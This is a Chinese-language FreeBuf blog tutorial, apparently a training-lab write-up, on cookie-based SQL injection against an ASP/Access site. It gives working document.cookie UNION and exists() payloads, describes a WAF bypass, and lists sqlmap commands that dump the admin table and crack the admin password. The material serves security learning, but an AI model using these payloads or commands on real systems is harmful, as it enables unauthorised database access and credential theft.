freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

99+

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Access注入之Cookie注入
无名草 2021-08-25 11:24:41 360091

Cookie注入简介

注:Cookie传参值需要URL编码

什么是Cookie

Cookie 是指某些网站为了 辨别用户身份 而储存在 用户本地终端上的数据(通常经过 加密 )。

通俗来讲,Cookie就是代表你身份的一串字符串,网站根据Cookie来识别你是谁,如果你获取了管理员的Cookie,你可以无需密码直接登陆管理员账号

Cookie 的出现是为了给用户更好的 体验性 ,从安全的角度来讲,Cookie本身就是不安全的。

Cookie注入原理

在动态脚本语言中存在 超全局变量 可以 获取多种传参方式 (基本上)

很多时候开发在开发的时候为了考虑到多种接受参数,在接受参数的时候都是用多种解释传参的方法

例如:

php中的 $_REQUEST[] 可以获取 POST|GET|COOKIE 传参  

注:php 5.4以上版本就不会接受Cookie传参了。

如果说开发用了 $_REQUEST[] 来接受参数?

然后我们的 POST 和 GET 传参被Waf拦截了,然后也许Waf没有对Cookie进行检测,

我们尝试用 Cooki e进行传参,就可以绕过检测机制!!

注:Cookie注入是 特殊的传参方式 产生的注入,与其他的无关!!

修改或设置Cookie

Burp抓包

在有 Cookie 请求头的 数据包 里面直接修改Cookie,没有 Cookie 请求头的 数据包 里面直接添加Cookie

1629800847_6124c98fb26f212c2b71b.png!small?1629800847726

浏览器设置

按F12打开开发者模式——》Application ——》storage——》cookies

然后修改Cookie

1629802004_6124ce14eee128adba18c.png!small?1629802004731

浏览器自带JS设置

按 F12 并选择 Console打开浏览器控制台

然后用 document.cookie来设置

1629804690_6124d892c8ebd38e5d5d4.png!small?1629804690357

escape( )是对参数进行一次 URL 编码的函数。

浏览器插件设置

EditThisCookie,ModHeader,HackBar等插件都可以设置

这里主要说的是 EditThisCookie 设置cookie

1629811465_6124f30936fe74f16f1ac.png!small?1629811464707

什么站点存在注入

一般来说:

ASP站点存在的可能性很高;(判断网站站点的一般方法:看URL 或 抓 返回包)

PHP的版本小于5.3的可能性很高;

Cookie注入实战

手工注

1.判断注入点

正常输入 and -1=-1 发现关键字 and 被过滤了

1629812062_6124f55e290022aa1a113.png!small?1629812061598

然后尝试是否可以 cookie 注入

document.cookie="id="+escape("171 and -1=-1")  页面显示正常

document.cookie="id="+escape("171 and -1=-2")  页面显示正常

1629814117_6124fd65abc247908974a.png!small?1629814117279

====》可以进行cookie注入

2. 判断当前页面字段总数

document.cookie="id="+escape("171 and -1=-1 order by 10")   页面有显示

document.cookie="id="+escape("171 and -1=-1 order by 11")  页面没有显示

1629815743_612503bfc37f61a8f19b6.png!small?1629815743292

====》字段数为 10。

3.爆破表名

因为改数据库是 Access数据库,只有一个数据库,没有系统自带表,要用标准的查询语句才能查询到数据,所以要先知道这里的 表名和字段名 。对于获取access数据库的表名和字段名,方法只有爆破。

exists( ) : 这个函数就是用来检查表名是否存在,原理就是检查子查询能否查询到数据

常见的表名:admin news work user job admin_user

document.cookie="id="+escape("171 and  exists(select *from admin) ")  页面正常显示

1629820613_612516c5503df058a79eb.png!small?1629820612769

====》存在 admin 表。

也可以在Burp用字典爆破。

选中要爆破的位置

1629857738_6125a7cacab2c7547a86e.png!small?1629857738172

1629857732_6125a7c44cc346e446ffe.png!small?1629857731617

开始爆破

1629858022_6125a8e6d8cea9da4ace0.png!small?1629858025807

====》表名有 admin,news,user,product,feedback...

4.判断显示位

document.cookie="id="+escape("171 and -1=-2 union select 1,2,3,4,5,6,7,8,9,10 from admin")

1629858283_6125a9eb7e8158379836a.png!small?1629858282951

====》显示位为2,3,7,8,9

5.爆破字段名

在显示位跑字段名

常见字段名:id,user,flag,password,username,title........

document.cookie="id="+escape("171 and -1=-2 union select 1,id,3,4,5,6,7,8,9,10 from admin")  有数据显示

document.cookie="id="+escape("171 and -1=-2 union select 1,password,3,4,5,6,7,8,9,10 from admin")  有数据显示

1629859775_6125afbf11a0b6149f396.png!small?1629859774368

====》得到数据:b9a2a2b5dffb918c

也可以用Burp字典爆破。

1629860148_6125b1349200523d2e04d.png!small?1629860147779

1629860158_6125b13eec7640c99c4d0.png!small?1629860158232

====》得到字段名 id,password,username,id,flag....

6.御剑后台扫描

1629860447_6125b25f7c297f800fad4.png!small?1629860446769

得到 企业网站管理系统

1629860600_6125b2f8dc11edcd4ea2c.png!small?1629860600132

管理员账号 admin

然后将 b9a2a2b5dffb918c进行cmd5解码得到 管理员后台密码welcome

进入后台拿到flag

1629860894_6125b41ed9355cdafb2fc.png!small?1629860894034

sqlmap跑cookie注入

python sqlmap.py -u http://kypt8004.ia.aqlab.cn/shownews.asp --cookie "id=171" --level 2

python sqlmap.py -u http://kypt8004.ia.aqlab.cn/shownews.asp --cookie "id=171" --level 2 --tables

1629861580_6125b6cc885004055a3cd.png!small?1629861579759

python sqlmap.py -u http://kypt8004.ia.aqlab.cn/shownews.asp --cookie "id=171" --level 2 -T admin --dump

1629861737_6125b769266d07a6498d7.png!small?1629861736306

得到数据 b9a2a2b5dffb918c。

后面的和上面一样.........

# 渗透测试 # web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 无名草 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
渗透学习之旅
无名草 LV.6
这家伙太懒了,还未填写个人描述!
  • 50 文章数
  • 86 关注者
文件上传解析漏洞(三)
2022-03-27
服务器端请求伪造--SSRF
2022-03-24
逻辑漏洞之支付漏洞
2022-03-19
文章目录